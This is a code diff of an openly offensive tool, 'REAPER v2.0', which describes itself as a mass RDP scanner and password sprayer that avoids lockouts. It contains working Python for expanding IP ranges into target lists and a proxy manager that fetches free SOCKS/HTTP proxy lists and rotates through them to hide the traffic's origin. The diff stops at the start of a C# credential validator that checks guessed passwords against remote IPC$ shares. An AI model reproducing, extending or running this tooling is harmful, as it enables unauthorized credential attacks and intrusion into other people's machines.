r'^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*-\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$'
|
||||||
|
)
|
||||||
|
SINGLE_IP_RE = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
|
||||||
|
|
||||||
|
|
||||||
|
def parse_line(line: str) -> Generator[str, None, None]:
|
||||||
|
"""Parse a single line: single IP, dash range, CIDR."""
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#') or line.startswith('//'):
|
||||||
|
return
|
||||||
|
|
||||||
|
# CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty)
|
||||||
|
if '/' in line:
|
||||||
|
try:
|
||||||
|
network = ipaddress.IPv4Network(line, strict=False)
|
||||||
|
if network.prefixlen == 32:
|
||||||
|
yield str(network.network_address)
|
||||||
|
else:
|
||||||
|
for host in network.hosts():
|
||||||
|
yield str(host)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Dash range: 192.168.1.1-192.168.1.255
|
||||||
|
match = IP_RANGE_RE.match(line)
|
||||||
|
if match:
|
||||||
|
try:
|
||||||
|
start = int(ipaddress.IPv4Address(match.group(1)))
|
||||||
|
end = int(ipaddress.IPv4Address(match.group(2)))
|
||||||
|
if start > end:
|
||||||
|
start, end = end, start
|
||||||
|
# Cap at /16 to prevent memory bombs
|
||||||
|
if end - start > 65536:
|
||||||
|
end = start + 65536
|
||||||
|
for ip_int in range(start, end + 1):
|
||||||
|
yield str(ipaddress.IPv4Address(ip_int))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Single IP
|
||||||
|
if SINGLE_IP_RE.match(line):
|
||||||
|
yield line
|
||||||
|
|
||||||
|
|
||||||
|
def parse_ranges_file(filepath: str) -> Generator[str, None, None]:
|
||||||
|
"""Parse ranges.txt, yield individual IPs lazily."""
|
||||||
|
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
for line in f:
|
||||||
|
yield from parse_line(line)
|
||||||
|
|
||||||
|
|
||||||
|
def count_ips(filepath: str) -> int:
|
||||||
|
"""Quick count of total IPs for progress tracking."""
|
||||||
|
total = 0
|
||||||
|
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#') or line.startswith('//'):
|
||||||
|
continue
|
||||||
|
if '/' in line:
|
||||||
|
try:
|
||||||
|
n = ipaddress.IPv4Network(line, strict=False)
|
||||||
|
if n.prefixlen >= 31:
|
||||||
|
total += n.num_addresses
|
||||||
|
else:
|
||||||
|
total += max(0, n.num_addresses - 2)
|
||||||
|
except ValueError:
|
||||||
|
total += 1
|
||||||
|
elif IP_RANGE_RE.match(line):
|
||||||
|
m = IP_RANGE_RE.match(line)
|
||||||
|
if m is None:
|
||||||
|
total += 1
|
||||||
|
continue
|
||||||
|
s = int(ipaddress.IPv4Address(m.group(1)))
|
||||||
|
e = int(ipaddress.IPv4Address(m.group(2)))
|
||||||
|
if s > e:
|
||||||
|
s, e = e, s
|
||||||
|
# Same /16 cap as parse_line() so Total matches work done
|
||||||
|
if e - s > 65536:
|
||||||
|
e = s + 65536
|
||||||
|
total += e - s + 1
|
||||||
|
elif SINGLE_IP_RE.match(line):
|
||||||
|
total += 1
|
||||||
|
return total
|
||||||
104
main.py
Normal file
104
main.py
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
REAPER v2.0 — Remote Exploitation & Password Enumeration Routine
|
||||||
|
================================================================
|
||||||
|
Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator.
|
||||||
|
No mercy. No lockouts. Just results.
|
||||||
|
Made for doom by drjones.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
|
||||||
|
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
|
||||||
|
try:
|
||||||
|
sys.stdout.reconfigure(encoding='utf-8')
|
||||||
|
except (AttributeError, ValueError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Add project dir to path
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
from gui import FastRDPGUI
|
||||||
|
|
||||||
|
|
||||||
|
# ── REAPER SKULL ───────────────────────────────────────────────
|
||||||
|
REAPER_ASCII = r"""
|
||||||
|
\033[91m
|
||||||
|
.-.
|
||||||
|
(0 0)
|
||||||
|
____\___/_____
|
||||||
|
/ ___________ \
|
||||||
|
/ / \ \
|
||||||
|
| / RIP YOUR \ |
|
||||||
|
| | NETWORK | |
|
||||||
|
| | ☠ ☠ ☠ ☠ | |
|
||||||
|
| \ / |
|
||||||
|
\ \___________/ /
|
||||||
|
\_____________/
|
||||||
|
___|_________|___
|
||||||
|
| ___________ |
|
||||||
|
| | | |
|
||||||
|
| | REAPER | |
|
||||||
|
| | v2.0 | |
|
||||||
|
| |___________| |
|
||||||
|
|_________________|
|
||||||
|
| |
|
||||||
|
___| |___
|
||||||
|
|_____ _____|
|
||||||
|
| |
|
||||||
|
| |
|
||||||
|
/ \
|
||||||
|
/ \
|
||||||
|
\033[0m
|
||||||
|
"""
|
||||||
|
|
||||||
|
BANNER = f"""
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m \u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
\033[91m\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\033[0m
|
||||||
|
|
||||||
|
\033[91m \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\033[0m
|
||||||
|
\033[91m \u2502\033[0m \033[97mREAPER v2.0 :: RDP REAPER :: No Mercy\033[0m \033[91m\u2502\033[0m
|
||||||
|
\033[91m \u2502\033[0m \033[90mRemote Exploitation & Password Enumeration Routine\033[0m \033[91m\u2502\033[0m
|
||||||
|
\033[91m \u2502\033[0m \033[31m\u2620 Mass RDP Scan | Password Spray | SOCKS5 Proxy \u2620\033[0m \033[91m\u2502\033[0m
|
||||||
|
\033[91m \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\033[0m
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
try:
|
||||||
|
print(BANNER)
|
||||||
|
except (UnicodeEncodeError, OSError):
|
||||||
|
print("""
|
||||||
|
==============================================
|
||||||
|
REAPER v2.0 - RDP Exploitation Framework
|
||||||
|
==============================================
|
||||||
|
""")
|
||||||
|
|
||||||
|
# Check if tkinter is available
|
||||||
|
try:
|
||||||
|
import tkinter
|
||||||
|
except ImportError:
|
||||||
|
print("[!] ERROR: tkinter not found! GUI mode requires tkinter.")
|
||||||
|
print(" On Windows, reinstall Python with 'tcl/tk and IDLE' checked.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
app = FastRDPGUI()
|
||||||
|
app.run()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
414
proxy.py
Normal file
414
proxy.py
Normal file
@@ -0,0 +1,414 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG: Proxy Manager Module.
|
||||||
|
Fetches free SOCKS5/HTTP proxy lists, tests them, and provides rotating proxy
|
||||||
|
support for all outbound connections. Integrates with scanner + spray modules.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import List, Optional, Tuple, Callable
|
||||||
|
|
||||||
|
import aiohttp
|
||||||
|
from aiohttp_socks import open_connection as socks_open_connection
|
||||||
|
from aiohttp_socks import ProxyType, ProxyConnectionError
|
||||||
|
|
||||||
|
logger = logging.getLogger("FastRDP-NG")
|
||||||
|
|
||||||
|
# ── Proxy sources (free proxy lists from GitHub) ─────────────────────────
|
||||||
|
PROXY_SOURCES = [
|
||||||
|
# Proxifly format: JSON array of {ip, port, protocol, ...}
|
||||||
|
"https://raw.githubusercontent.com/proxifly/free-proxy-list/main/proxies.json",
|
||||||
|
# TheSpeedX format: ip:port per line (HTTP)
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
|
||||||
|
# TheSpeedX format: ip:port per line (SOCKS4)
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
|
||||||
|
# TheSpeedX format: ip:port per line (SOCKS5)
|
||||||
|
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
|
||||||
|
# ProxyScrape format: ip:port per line
|
||||||
|
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&timeout=10000&country=all",
|
||||||
|
"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all",
|
||||||
|
# Monosans format: ip:port per line
|
||||||
|
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/all.txt",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Test URL for proxy verification (fast, reliable endpoint)
|
||||||
|
PROXY_TEST_URL = "http://httpbin.org/ip"
|
||||||
|
PROXY_TEST_TIMEOUT = 8.0
|
||||||
|
|
||||||
|
# Default credentials for proxy testing (most free proxies don't use auth)
|
||||||
|
NO_AUTH = ("", "")
|
||||||
|
|
||||||
|
# ── How often to refresh from sources (seconds) ──────────────────────────
|
||||||
|
REFRESH_INTERVAL = 300 # 5 minutes
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class ProxyEntry:
|
||||||
|
"""A single proxy entry with status tracking."""
|
||||||
|
host: str
|
||||||
|
port: int
|
||||||
|
protocol: str # "socks5", "socks4", "http"
|
||||||
|
alive: bool = False
|
||||||
|
latency: float = 0.0 # ms
|
||||||
|
last_tested: float = 0.0
|
||||||
|
failures: int = 0
|
||||||
|
username: str = ""
|
||||||
|
password: str = ""
|
||||||
|
|
||||||
|
@property
|
||||||
|
def proxy_type(self) -> ProxyType:
|
||||||
|
if self.protocol == "socks4":
|
||||||
|
return ProxyType.SOCKS4
|
||||||
|
elif self.protocol == "socks5":
|
||||||
|
return ProxyType.SOCKS5
|
||||||
|
else:
|
||||||
|
return ProxyType.HTTP
|
||||||
|
|
||||||
|
@property
|
||||||
|
def url(self) -> str:
|
||||||
|
"""Return proxy URL string for aiohttp_socks."""
|
||||||
|
if self.username:
|
||||||
|
return f"{self.protocol}://{self.username}:{self.password}@{self.host}:{self.port}"
|
||||||
|
return f"{self.protocol}://{self.host}:{self.port}"
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
status = "\u2713" if self.alive else "\u2717"
|
||||||
|
return f"{status} {self.protocol}://{self.host}:{self.port} ({self.latency:.0f}ms)"
|
||||||
|
|
||||||
|
|
||||||
|
class ProxyManager:
|
||||||
|
"""
|
||||||
|
Manages a dynamic list of proxies with fetching, testing, rotation.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.proxies: List[ProxyEntry] = []
|
||||||
|
self._working: List[ProxyEntry] = []
|
||||||
|
self._rotation_index = 0
|
||||||
|
|
||||||
|
# State
|
||||||
|
self.enabled = False
|
||||||
|
self.auto_rotate = True
|
||||||
|
self.testing = False
|
||||||
|
self.fetching = False
|
||||||
|
self.last_refresh = 0.0
|
||||||
|
|
||||||
|
# Stats
|
||||||
|
self.total_fetched = 0
|
||||||
|
self.working_count = 0
|
||||||
|
self.failed_count = 0
|
||||||
|
|
||||||
|
# Session for HTTP requests
|
||||||
|
self._session: Optional[aiohttp.ClientSession] = None
|
||||||
|
|
||||||
|
async def _get_session(self) -> aiohttp.ClientSession:
|
||||||
|
if self._session is None or self._session.closed:
|
||||||
|
self._session = aiohttp.ClientSession(
|
||||||
|
timeout=aiohttp.ClientTimeout(total=15)
|
||||||
|
)
|
||||||
|
return self._session
|
||||||
|
|
||||||
|
async def close(self):
|
||||||
|
if self._session and not self._session.closed:
|
||||||
|
await self._session.close()
|
||||||
|
|
||||||
|
# ── FETCHING ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def fetch_from_sources(
|
||||||
|
self,
|
||||||
|
progress_callback: Optional[Callable[[str], None]] = None
|
||||||
|
) -> int:
|
||||||
|
"""
|
||||||
|
Fetch proxy lists from all configured sources.
|
||||||
|
Returns total number of unique proxies collected.
|
||||||
|
"""
|
||||||
|
if self.fetching:
|
||||||
|
return len(self.proxies)
|
||||||
|
self.fetching = True
|
||||||
|
|
||||||
|
try:
|
||||||
|
session = await self._get_session()
|
||||||
|
all_proxies: List[Tuple[str, int, str]] = [] # (host, port, protocol)
|
||||||
|
seen = set()
|
||||||
|
|
||||||
|
for source_url in PROXY_SOURCES:
|
||||||
|
try:
|
||||||
|
if progress_callback:
|
||||||
|
progress_callback(f"Fetching: {source_url.split('/')[-1][:40]}...")
|
||||||
|
|
||||||
|
async with session.get(source_url, timeout=10) as resp:
|
||||||
|
if resp.status != 200:
|
||||||
|
continue
|
||||||
|
text = await resp.text()
|
||||||
|
|
||||||
|
# Parse based on source URL pattern
|
||||||
|
if "proxifly" in source_url.lower() or source_url.endswith(".json"):
|
||||||
|
# JSON format: [{"ip":"...","port":...,"protocol":"..."}]
|
||||||
|
parsed = self._parse_proxifly_json(text)
|
||||||
|
else:
|
||||||
|
# Plain text: ip:port per line
|
||||||
|
parsed = self._parse_plain_text(text)
|
||||||
|
|
||||||
|
for host, port, protocol in parsed:
|
||||||
|
key = (host, port, protocol)
|
||||||
|
if key not in seen:
|
||||||
|
seen.add(key)
|
||||||
|
all_proxies.append((host, port, protocol))
|
||||||
|
|
||||||
|
if progress_callback:
|
||||||
|
progress_callback(f" -> Got {len(parsed)} proxies from {source_url.split('/')[-1][:30]}")
|
||||||
|
|
||||||
|
except (asyncio.TimeoutError, aiohttp.ClientError, Exception) as e:
|
||||||
|
logger.debug(f"Proxy source failed: {source_url[:60]} - {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Deduplicate and create entries
|
||||||
|
new_proxies = []
|
||||||
|
for host, port, protocol in all_proxies:
|
||||||
|
# Skip duplicates with existing entries
|
||||||
|
exists = any(
|
||||||
|
p.host == host and p.port == port and p.protocol == protocol
|
||||||
|
for p in self.proxies
|
||||||
|
)
|
||||||
|
if not exists:
|
||||||
|
new_proxies.append(ProxyEntry(
|
||||||
|
host=host, port=port, protocol=protocol
|
||||||
|
))
|
||||||
|
|
||||||
|
self.proxies.extend(new_proxies)
|
||||||
|
self.total_fetched = len(self.proxies)
|
||||||
|
|
||||||
|
if progress_callback:
|
||||||
|
progress_callback(f"\U0001f4e1 Total: {len(self.proxies)} unique proxies collected")
|
||||||
|
|
||||||
|
self.last_refresh = time.time()
|
||||||
|
return len(self.proxies)
|
||||||
|
|
||||||
|
finally:
|
||||||
|
self.fetching = False
|
||||||
|
|
||||||
|
def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
|
||||||
|
"""Parse proxifly JSON format."""
|
||||||
|
import json
|
||||||
|
result = []
|
||||||
|
try:
|
||||||
|
data = json.loads(text)
|
||||||
|
if isinstance(data, list):
|
||||||
|
for entry in data:
|
||||||
|
ip = entry.get("ip", "") or entry.get("host", "")
|
||||||
|
port = entry.get("port", 0)
|
||||||
|
protocol = entry.get("protocol", "socks5").lower()
|
||||||
|
if ip and port:
|
||||||
|
# Map protocol names
|
||||||
|
if protocol in ("socks5", "socks4", "http", "https"):
|
||||||
|
if protocol == "https":
|
||||||
|
protocol = "http"
|
||||||
|
result.append((ip, int(port), protocol))
|
||||||
|
except (json.JSONDecodeError, ValueError):
|
||||||
|
pass
|
||||||
|
return result
|
||||||
|
|
||||||
|
def _parse_plain_text(self, text: str) -> List[Tuple[str, int, str]]:
|
||||||
|
"""Parse 'ip:port' per line format."""
|
||||||
|
result = []
|
||||||
|
# Determine protocol from context (will be overwritten by caller)
|
||||||
|
# We try to autodetect or default to socks5
|
||||||
|
for line in text.splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith("#") or line.startswith("//"):
|
||||||
|
continue
|
||||||
|
# Try ip:port format
|
||||||
|
if ":" in line and not line.startswith("["):
|
||||||
|
parts = line.split(":")
|
||||||
|
if len(parts) == 2:
|
||||||
|
ip, port_str = parts
|
||||||
|
try:
|
||||||
|
port = int(port_str)
|
||||||
|
if 1 <= port <= 65535:
|
||||||
|
# Default to socks5 (source determines actual type)
|
||||||
|
result.append((ip, port, "socks5"))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return result
|
||||||
|
|
||||||
|
# ── TESTING ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def test_proxy(
|
||||||
|
self,
|
||||||
|
proxy: ProxyEntry,
|
||||||
|
test_url: str = PROXY_TEST_URL,
|
||||||
|
timeout: float = PROXY_TEST_TIMEOUT
|
||||||
|
) -> bool:
|
||||||
|
"""
|
||||||
|
Test a single proxy by making an HTTP request through it.
|
||||||
|
Returns True if proxy is working.
|
||||||
|
"""
|
||||||
|
start = time.time()
|
||||||
|
try:
|
||||||
|
# Use aiohttp with ProxyConnector for testing
|
||||||
|
from aiohttp_socks import ProxyConnector
|
||||||
|
|
||||||
|
connector = ProxyConnector(
|
||||||
|
proxy_type=proxy.proxy_type,
|
||||||
|
proxy_host=proxy.host,
|
||||||
|
proxy_port=proxy.port,
|
||||||
|
username=proxy.username or None,
|
||||||
|
password=proxy.password or None,
|
||||||
|
rdns=True
|
||||||
|
)
|
||||||
|
|
||||||
|
async with aiohttp.ClientSession(connector=connector, timeout=aiohttp.ClientTimeout(total=timeout)) as session:
|
||||||
|
async with session.get(test_url, timeout=timeout) as resp:
|
||||||
|
if resp.status == 200:
|
||||||
|
proxy.alive = True
|
||||||
|
proxy.latency = (time.time() - start) * 1000 # ms
|
||||||
|
proxy.last_tested = time.time()
|
||||||
|
proxy.failures = 0
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
proxy.alive = False
|
||||||
|
proxy.failures += 1
|
||||||
|
return False
|
||||||
|
|
||||||
|
except (ProxyConnectionError, asyncio.TimeoutError,
|
||||||
|
aiohttp.ClientError, OSError, ConnectionError):
|
||||||
|
proxy.alive = False
|
||||||
|
proxy.failures += 1
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
proxy.last_tested = time.time()
|
||||||
|
|
||||||
|
async def test_all(
|
||||||
|
self,
|
||||||
|
max_concurrent: int = 100,
|
||||||
|
progress_callback: Optional[Callable[[int, int], None]] = None
|
||||||
|
) -> int:
|
||||||
|
"""
|
||||||
|
Test all untested/failed proxies in the pool.
|
||||||
|
Returns number of working proxies found.
|
||||||
|
"""
|
||||||
|
if self.testing:
|
||||||
|
return self.working_count
|
||||||
|
self.testing = True
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Test proxies that haven't been tested or have failures
|
||||||
|
to_test = [
|
||||||
|
p for p in self.proxies
|
||||||
|
if not p.alive or p.failures > 0
|
||||||
|
]
|
||||||
|
|
||||||
|
if not to_test:
|
||||||
|
# Test a random sample if all are already alive
|
||||||
|
to_test = random.sample(self.proxies, min(50, len(self.proxies)))
|
||||||
|
|
||||||
|
total = len(to_test)
|
||||||
|
tested = 0
|
||||||
|
working = 0
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
|
||||||
|
async def test_one(proxy: ProxyEntry):
|
||||||
|
nonlocal tested, working
|
||||||
|
async with sem:
|
||||||
|
ok = await self.test_proxy(proxy)
|
||||||
|
tested += 1
|
||||||
|
if ok:
|
||||||
|
working += 1
|
||||||
|
if progress_callback and tested % 10 == 0:
|
||||||
|
progress_callback(tested, total)
|
||||||
|
|
||||||
|
tasks = [asyncio.create_task(test_one(p)) for p in to_test]
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
|
||||||
|
# Update working list
|
||||||
|
self._working = [p for p in self.proxies if p.alive]
|
||||||
|
self.working_count = len(self._working)
|
||||||
|
self.failed_count = len(self.proxies) - self.working_count
|
||||||
|
|
||||||
|
return self.working_count
|
||||||
|
|
||||||
|
finally:
|
||||||
|
self.testing = False
|
||||||
|
|
||||||
|
# ── ROTATION ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def get_proxy(self) -> Optional[ProxyEntry]:
|
||||||
|
"""
|
||||||
|
Get the next working proxy (round-robin if auto_rotate is enabled).
|
||||||
|
Returns None if no working proxies available.
|
||||||
|
"""
|
||||||
|
if not self._working:
|
||||||
|
return None
|
||||||
|
|
||||||
|
if self.auto_rotate and len(self._working) > 1:
|
||||||
|
proxy = self._working[self._rotation_index % len(self._working)]
|
||||||
|
self._rotation_index += 1
|
||||||
|
else:
|
||||||
|
proxy = self._working[self._rotation_index % len(self._working)]
|
||||||
|
|
||||||
|
return proxy
|
||||||
|
|
||||||
|
def mark_bad(self, proxy: ProxyEntry):
|
||||||
|
"""Mark a proxy as failed (connection error)."""
|
||||||
|
proxy.failures += 1
|
||||||
|
if proxy.failures >= 3:
|
||||||
|
proxy.alive = False
|
||||||
|
if proxy in self._working:
|
||||||
|
self._working.remove(proxy)
|
||||||
|
self.working_count = len(self._working)
|
||||||
|
self.failed_count = len(self.proxies) - self.working_count
|
||||||
|
|
||||||
|
# ── CONNECTION WRAPPER ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async def open_connection(self, host: str, port: int, **kwargs):
|
||||||
|
"""
|
||||||
|
Open a TCP connection through the current proxy.
|
||||||
|
If proxy is disabled or no working proxies available, falls back to
|
||||||
|
direct `asyncio.open_connection`.
|
||||||
|
|
||||||
|
Returns (reader, writer) - same as asyncio.open_connection.
|
||||||
|
"""
|
||||||
|
if not self.enabled:
|
||||||
|
return await asyncio.open_connection(host, port, **kwargs)
|
||||||
|
|
||||||
|
proxy = await self.get_proxy()
|
||||||
|
if proxy is None:
|
||||||
|
# No working proxy — fallback to direct
|
||||||
|
logger.debug("No working proxy available, falling back to direct connection")
|
||||||
|
return await asyncio.open_connection(host, port, **kwargs)
|
||||||
|
|
||||||
|
try:
|
||||||
|
return await asyncio.wait_for(
|
||||||
|
socks_open_connection(
|
||||||
|
proxy_url=proxy.url,
|
||||||
|
host=host,
|
||||||
|
port=port,
|
||||||
|
**kwargs
|
||||||
|
),
|
||||||
|
timeout=kwargs.get("timeout", 10.0) if "timeout" in kwargs else 10.0
|
||||||
|
)
|
||||||
|
except (ProxyConnectionError, asyncio.TimeoutError, OSError, ConnectionError) as e:
|
||||||
|
self.mark_bad(proxy)
|
||||||
|
# Retry with next proxy
|
||||||
|
logger.debug(f"Proxy {proxy} failed: {e}, trying next...")
|
||||||
|
return await self.open_connection(host, port, **kwargs)
|
||||||
|
|
||||||
|
# ── STATS ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_stats(self) -> dict:
|
||||||
|
"""Return proxy pool statistics."""
|
||||||
|
return {
|
||||||
|
"enabled": self.enabled,
|
||||||
|
"total": len(self.proxies),
|
||||||
|
"working": self.working_count,
|
||||||
|
"failed": self.failed_count,
|
||||||
|
"fetching": self.fetching,
|
||||||
|
"testing": self.testing,
|
||||||
|
"auto_rotate": self.auto_rotate,
|
||||||
|
"last_refresh": self.last_refresh,
|
||||||
|
}
|
||||||
212
rdpthread.cs
Normal file
212
rdpthread.cs
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
|
||||||
|
// Uses Windows WNetAddConnection2 API to validate credentials
|
||||||
|
// against the remote machine's IPC$ share.
|
||||||
|
//
|
||||||
|
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
|
||||||
|
// or via build.bat
|
||||||
|
//
|
||||||
|
// Usage: rdpthread.exe <ip> <port> <username> <password>
|
||||||
|
// Returns: exit code 0 + prints "success" on valid credentials
|
||||||
|
// exit code 1 on failure (invalid, timeout, unreachable)
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
